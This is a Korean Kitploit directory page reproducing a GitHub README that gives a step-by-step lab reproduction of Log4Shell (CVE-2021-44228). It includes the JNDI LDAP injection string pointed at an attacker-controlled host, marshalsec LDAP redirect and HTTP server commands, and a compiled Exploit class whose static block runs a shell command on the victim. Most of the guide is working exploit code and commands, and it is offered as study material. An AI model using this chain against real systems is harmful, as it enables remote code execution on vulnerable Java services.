Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/racoon-rac/cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

# CVE-2021-44228(Log4Shell) 단계별 재현 가이드 — JDK 8u20, 취약한 Log4j 2.14.1, marshalsec LDAP 서버 및 사용자 정의 페이로드 컴파일 포함

저장소 보기
53년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228

이쪽 이야기가 더 실용성이 있다고 생각합니다(ㅠㅠ)christophetd/log4shell-vulnerable-app

흥미가 생겨 충동적으로 조사한 것뿐이라, 불확실한 부분이나 오류가 있을 것으로 생각됩니다.
부디, 본인 책임으로 부탁드립니다.

재현 환경 만들기.

linux 환경이라면 동작할 것으로 생각됩니다.

1. jdk 다운로드

jdk8u191 이후에는 com.sun.jndi.rmi.object.trustURLCodebase 옵션이 추가되어 기본값이 False가 되었습니다. 이 상태에서는 외부에서 준비한 class를 읽어들일 수 없으므로, 이번에는 그 이전 버전을 사용합니다.
(내부 클래스를 읽어들이거나 바이패스할 수 있을까??) https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

jdk8u20 직접 다운로드
압축을 풀고 적당히 /opt 등에 넣어 둡니다.

2. 취약점이 있는 log4j 준비

log4j 다운로드
압축을 풀고 log4j-api-2.14.1.jar와 log4j-core-2.14.1.jar를 꺼냅니다 (이번에는 log4japp이라는 디렉터리에 넣었습니다).

3. log4j 클래스패스 설정

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. 간단한 애플리케이션 작성

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource 가 없으면 동작하지 않았습니다.
        }
}

5. marshalsec 준비

mbechler/marshalsec
ldap 요청을 Web 쪽으로 리디렉션시킵니다.

root@kitploit:~
mvn clean package -DskipTests

대기 수신 시작

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

marshalsec의 리디렉션 대상도 준비

root@kitploit:~
python3 -m http.server 8888

6. marshalsec에 전달할 클래스 준비

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

설치한 jdk8u20을 사용해 컴파일

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. exploit

설치한 jdk8u20을 사용해 컴파일·실행합니다.

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

도구 다운로드